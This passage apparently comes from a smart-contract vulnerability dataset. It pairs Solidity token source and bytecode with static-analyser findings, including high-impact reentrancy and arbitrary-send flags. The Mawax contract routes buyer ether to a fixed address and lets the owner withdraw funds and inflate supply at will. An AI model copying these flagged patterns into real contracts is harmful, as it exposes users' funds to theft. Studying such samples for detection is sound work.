uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c2d0ffca1161006f578063c2d0ffca14610373578063c3c8cd8014610393578063cc653b44146103a8578063dd62ed3e146103de578063e8078d9414610424578063ff8726021461043957600080fd5b80638da5cb5b146102c557806395d89b41146102ed5780639e78fb4f1461031e578063a9059cbb14610333578063b515566a14610353578063bc3371821461037357600080fd5b8063313ce56711610108578063313ce5671461022a5780635932ead1146102465780636fc3eaec1461026657806370a082311461027b578063715018a61461029b5780638a8c523c146102b057600080fd5b806306fdde0314610150578063095ea7b31461019457806318160ddd146101c457806323b872dd146101e8578063273123b71461020857600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600981526842656174204b6f6e6760b81b60208201525b60405161018b9190611704565b60405180910390f35b3480156101a057600080fd5b506101b46101af36600461177e565b61044e565b604051901515815260200161018b565b3480156101d057600080fd5b5066d529ae9e8600005b60405190815260200161018b565b3480156101f457600080fd5b506101b46102033660046117aa565b610465565b34801561021457600080fd5b506102286102233660046117eb565b6104ce565b005b34801561023657600080fd5b506040516009815260200161018b565b34801561025257600080fd5b50610228610261366004611816565b610522565b34801561027257600080fd5b5061022861056a565b34801561028757600080fd5b506101da6102963660046117eb565b610597565b3480156102a757600080fd5b506102286105b9565b3480156102bc57600080fd5b5061022861062d565b3480156102d157600080fd5b506000546040516001600160a01b03909116815260200161018b565b3480156102f957600080fd5b50604080518082019091526008815267424541544b4f4e4760c01b602082015261017e565b34801561032a57600080fd5b5061022861066c565b34801561033f57600080fd5b506101b461034e36600461177e565b61072b565b34801561035f57600080fd5b5061022861036e366004611849565b610738565b34801561037f57600080fd5b5061022861038e36600461190e565b6107ce565b34801561039f57600080fd5b506102286107fd565b3480156103b457600080fd5b506101da6103c33660046117eb565b6001600160a01b031660009081526004602052604090205490565b3480156103ea57600080fd5b506101da6103f9366004611927565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561043057600080fd5b50610228610833565b34801561044557600080fd5b50610228610b2e565b600061045b338484610b60565b5060015b92915050565b6000610472848484610c84565b6104c484336104bf85604051806060016040528060288152602001611b24602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061102c565b610b60565b5060019392505050565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016104f890611960565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b0316331461054c5760405162461bcd60e51b81526004016104f890611960565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461058a57600080fd5b4761059481611066565b50565b6001600160a01b03811660009081526002602052604081205461045f906110a0565b6000546001600160a01b031633146105e35760405162461bcd60e51b81526004016104f890611960565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106575760405162461bcd60e51b81526004016104f890611960565b600f805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106965760405162461bcd60e51b81526004016104f890611960565b600f54600160a01b900460ff16156106f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f8565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610594308266d529ae9e860000610b60565b600061045b338484610c84565b6000546001600160a01b031633146107625760405162461bcd60e51b81526004016104f890611960565b60005b81518110156107ca5760016007600084848151811061078657610786611995565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107c2816119c1565b915050610765565b5050565b6000546001600160a01b031633146107f85760405162461bcd60e51b81526004016104f890611960565b601055565b600d546001600160a01b0316336001600160a01b03161461081d57600080fd5b600061082830610597565b905061059481611124565b6000546001600160a01b0316331461085d5760405162461bcd60e51b81526004016104f890611960565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d491906119da565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610936573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095a91906119da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb91906119da565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109fb81610597565b600080610a106000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a78573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9d91906119f7565b5050600f805461ffff60b01b19811661010160b01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b0a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105949190611a25565b6000546001600160a01b03163314610b585760405162461bcd60e51b81526004016104f890611960565b600954601055565b6001600160a01b038316610bc25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f8565b6001600160a01b038216610c235760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f8565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f8565b6001600160a01b038216610d4a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f8565b60008111610dac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f8565b600f546001600160a01b03848116911614610e30576001600160a01b03831660009081526004602052604090205415801590610e0d57506001600160a01b0383166000908152600460205260409020544290610e0a90613840611a42565b10155b15610e21576002600b556019600c55610e76565b6002600b556006600c55610e76565b6001600160a01b0382166000908152600460205260408120549003610e6b576001600160a01b03821660009081526004602052604090204290555b6002600b556006600c555b6000546001600160a01b03848116911614801590610ea257506000546001600160a01b03838116911614155b1561101c576001600160a01b03831660009081526007602052604090205460ff16158015610ee957506001600160a01b03821660009081526007602052604090205460ff16155b610ef257600080fd5b600f546001600160a01b038481169116148015610f1d5750600e546001600160a01b03838116911614155b8015610f4257506001600160a01b03821660009081526006602052604090205460ff16155b8015610f575750600f54600160b81b900460ff165b15610fa557600f54600160a01b900460ff16610f7257600080fd5b601054811115610f8157600080fd5b6001600160a01b0382166000908152600860205260409020544211610fa557600080fd5b6000610fb030610597565b600f54909150600160a81b900460ff16158015610fdb5750600f546001600160a01b03858116911614155b8015610ff05750600f54600160b01b900460ff165b1561101a57610ffe81611124565b4767016345785d8a00008111156110185761101847611066565b505b505b61102783838361129e565b505050565b600081848411156110505760405162461bcd60e51b81526004016104f89190611704565b50600061105d8486611a5a565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107ca573d6000803e3d6000fd5b60006009548211156111075760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f8565b60006111116112a9565b905061111d83826112cc565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061116c5761116c611995565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e991906119da565b816001815181106111fc576111fc611995565b6001600160a01b039283166020918202929092010152600e546112229130911684610b60565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061125b908590600090869030904290600401611a71565b600060405180830381600087803b15801561127557600080fd5b505af1158015611289573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b61102783838361130e565b60008060006112b6611405565b90925090506112c582826112cc565b9250505090565b600061111d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611443565b60008060008060008061132087611471565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061135290876114ce565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113819086611510565b6001600160a01b0389166000908152600260205260409020556113a38161156f565b6113ad84836115b9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113f291815260200190565b60405180910390a3505050505050505050565b600954600090819066d529ae9e86000061141f82826112cc565b82101561143a5750506009549266d529ae9e86000092509050565b90939092509050565b600081836114645760405162461bcd60e51b81526004016104f89190611704565b50600061105d8486611ae2565b600080600080600080600080600061148e8a600b54600c546115dd565b925092509250600061149e6112a9565b905060008060006114b18e878787611632565b919e509c509a509598509396509194505050505091939550919395565b600061111d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102c565b60008061151d8385611a42565b90508381101561111d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f8565b60006115796112a9565b905060006115878383611682565b306000908152600260205260409020549091506115a49082611510565b30600090815260026020526040902055505050565b6009546115c690836114ce565b600955600a546115d69082611510565b600a555050565b60008080806115f760646115f18989611682565b906112cc565b9050600061160a60646115f18a89611682565b905060006116228261161c8b866114ce565b906114ce565b9992985090965090945050505050565b60008080806116418886611682565b9050600061164f8887611682565b9050600061165d8888611682565b9050600061166f8261161c86866114ce565b939b939a50919850919650505050505050565b6000826000036116945750600061045f565b60006116a08385611b04565b9050826116ad8583611ae2565b1461111d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f8565b600060208083528351808285015260005b8181101561173157858101830151858201604001528201611715565b81811115611743576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461059457600080fd5b803561177981611759565b919050565b6000806040838503121561179157600080fd5b823561179c81611759565b946020939093013593505050565b6000806000606084860312156117bf57600080fd5b83356117ca81611759565b925060208401356117da81611759565b929592945050506040919091013590565b6000602082840312156117fd57600080fd5b813561111d81611759565b801515811461059457600080fd5b60006020828403121561182857600080fd5b813561111d81611808565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561185c57600080fd5b823567ffffffffffffffff8082111561187457600080fd5b818501915085601f83011261188857600080fd5b81358181111561189a5761189a611833565b8060051b604051601f19603f830116810181811085821117156118bf576118bf611833565b6040529182528482019250838101850191888311156118dd57600080fd5b938501935b82851015611902576118f38561176e565b845293850193928501926118e2565b98975050505050505050565b60006020828403121561192057600080fd5b5035919050565b6000806040838503121561193a57600080fd5b823561194581611759565b9150602083013561195581611759565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016119d3576119d36119ab565b5060010190565b6000602082840312156119ec57600080fd5b815161111d81611759565b600080600060608486031215611a0c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a3757600080fd5b815161111d81611808565b60008219821115611a5557611a556119ab565b500190565b600082821015611a6c57611a6c6119ab565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac15784516001600160a01b031683529383019391830191600101611a9c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611aff57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b1e57611b1e6119ab565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042d49c9dd84f9b36f145ea77c6ea85d5bba95658303a409018ec59ca934b9e0a64736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 920 |
0xb647d88d335441248f4a1d49a925e2285905dee8 | pragma solidity ^0.4.25;
/**
* @title Mawax Project
* Mawax Token
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MawaxToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Mawax";
string public constant symbol = "MWX";
uint public constant decimals = 8;
uint public deadline = now + 37 * 1 days;
uint public round2 = now + 32 * 1 days;
uint public round1 = now + 22 * 1 days;
uint256 public totalSupply = 100000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 10 ether / 1000; // 0.01 Ether
uint256 public tokensPerEth = 100000000e8;
uint public target0drop = 10000;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x0C4d2c5aEF2330e888eE7d393c8770F6f399aE70;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 10000000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 1 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 3 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 3 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 100000e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610195578063095ea7b3146102255780631003e2d21461028a57806318160ddd146102b757806323b872dd146102e257806329dcb0cf146103675780632e1a7d4d14610392578063313ce567146103bf57806342966c68146103ea578063532b581c1461041757806370a082311461044257806374ff2324146104995780637809231c146104c4578063836e81801461051157806383afd6da1461053c578063853828b61461056757806395d89b411461057e5780639b1cbccc1461060e5780639ea407be1461063d578063a9059cbb1461066a578063aa6ca808146106cf578063b449c24d146106d9578063c108d54214610734578063c489744b14610763578063cbdd69b5146107da578063dd62ed3e14610805578063e58fc54c1461087c578063e6a092f5146108d7578063efca2eed14610902578063f2fde38b1461092d578063f3ccb40114610970575b6101936109b5565b005b3480156101a157600080fd5b506101aa610db8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ea5780820151818401526020810190506101cf565b50505050905090810190601f1680156102175780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023157600080fd5b50610270600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610df1565b604051808215151515815260200191505060405180910390f35b34801561029657600080fd5b506102b560048036038101908080359060200190929190505050610f7f565b005b3480156102c357600080fd5b506102cc611036565b6040518082815260200191505060405180910390f35b3480156102ee57600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061103c565b604051808215151515815260200191505060405180910390f35b34801561037357600080fd5b5061037c611412565b6040518082815260200191505060405180910390f35b34801561039e57600080fd5b506103bd60048036038101908080359060200190929190505050611418565b005b3480156103cb57600080fd5b506103d46114e6565b6040518082815260200191505060405180910390f35b3480156103f657600080fd5b50610415600480360381019080803590602001909291905050506114eb565b005b34801561042357600080fd5b5061042c6116b7565b6040518082815260200191505060405180910390f35b34801561044e57600080fd5b50610483600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116bd565b6040518082815260200191505060405180910390f35b3480156104a557600080fd5b506104ae611706565b6040518082815260200191505060405180910390f35b3480156104d057600080fd5b5061050f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611711565b005b34801561051d57600080fd5b5061052661177b565b6040518082815260200191505060405180910390f35b34801561054857600080fd5b50610551611781565b6040518082815260200191505060405180910390f35b34801561057357600080fd5b5061057c611787565b005b34801561058a57600080fd5b50610593611870565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b506106236118a9565b604051808215151515815260200191505060405180910390f35b34801561064957600080fd5b5061066860048036038101908080359060200190929190505050611971565b005b34801561067657600080fd5b506106b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a0e565b604051808215151515815260200191505060405180910390f35b6106d76109b5565b005b3480156106e557600080fd5b5061071a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c49565b604051808215151515815260200191505060405180910390f35b34801561074057600080fd5b50610749611c69565b604051808215151515815260200191505060405180910390f35b34801561076f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c7c565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b506107ef611d67565b6040518082815260200191505060405180910390f35b34801561081157600080fd5b50610866600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d6d565b6040518082815260200191505060405180910390f35b34801561088857600080fd5b506108bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611df4565b604051808215151515815260200191505060405180910390f35b3480156108e357600080fd5b506108ec612039565b6040518082815260200191505060405180910390f35b34801561090e57600080fd5b5061091761203f565b6040518082815260200191505060405180910390f35b34801561093957600080fd5b5061096e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612045565b005b34801561097c57600080fd5b506109b36004803603810190808035906020019082018035906020019190919293919293908035906020019092919050505061211c565b005b600080600080600080600080600d60149054906101000a900460ff161515156109dd57600080fd5b60009750600096506000955067016345785d8a00009450670de0b6b3a76400009350674563918244f400009250670de0b6b3a7640000610a2834600a546121d190919063ffffffff16565b811515610a3157fe5b049750339150662386f26fc100003410158015610a4f575060055442105b8015610a5c575060075442105b8015610a69575060065442105b15610ae757843410158015610a7d57508334105b15610a9957606460018902811515610a9157fe5b049550610ae2565b833410158015610aa857508234105b15610ac457606460028902811515610abc57fe5b049550610ae1565b8234101515610ae057606460038902811515610adc57fe5b0495505b5b5b610b71565b662386f26fc100003410158015610aff575060055442105b8015610b0c575060075442115b8015610b19575060065442105b15610b6b57833410158015610b2d57508234105b15610b4957606460028902811515610b4157fe5b049550610b66565b8234101515610b6557606460038902811515610b6157fe5b0495505b5b610b70565b600095505b5b85880196506000881415610c87576509184e72a000905060001515600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148015610bec5750600b54600c5411155b15610c6b57610bfb8282612209565b506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600c60008154809291906001019190505550610c82565b662386f26fc100003410151515610c8157600080fd5b5b610d1c565b600088118015610c9e5750662386f26fc100003410155b15610d04576005544210158015610cb757506007544210155b8015610cc4575060065442105b15610cd957610cd38289612209565b50610cff565b8434101515610cf257610cec8288612209565b50610cfe565b610cfc8289612209565b505b5b610d1b565b662386f26fc100003410151515610d1a57600080fd5b5b5b600854600954101515610d45576001600d60146101000a81548160ff0219169083151502179055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610dad573d6000803e3d6000fd5b505050505050505050565b6040805190810160405280600581526020017f4d6177617800000000000000000000000000000000000000000000000000000081525081565b6000808214158015610e8057506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b15610e8e5760009050610f79565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fdd57600080fd5b610ff28260085461239590919063ffffffff16565b9050806008819055507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f826040518082815260200191505060405180910390a15050565b60085481565b600060606004810160003690501015151561105357fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561108f57600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156110dd57600080fd5b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561116857600080fd5b6111ba83600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128c83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b190919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061135e83600260008773ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffff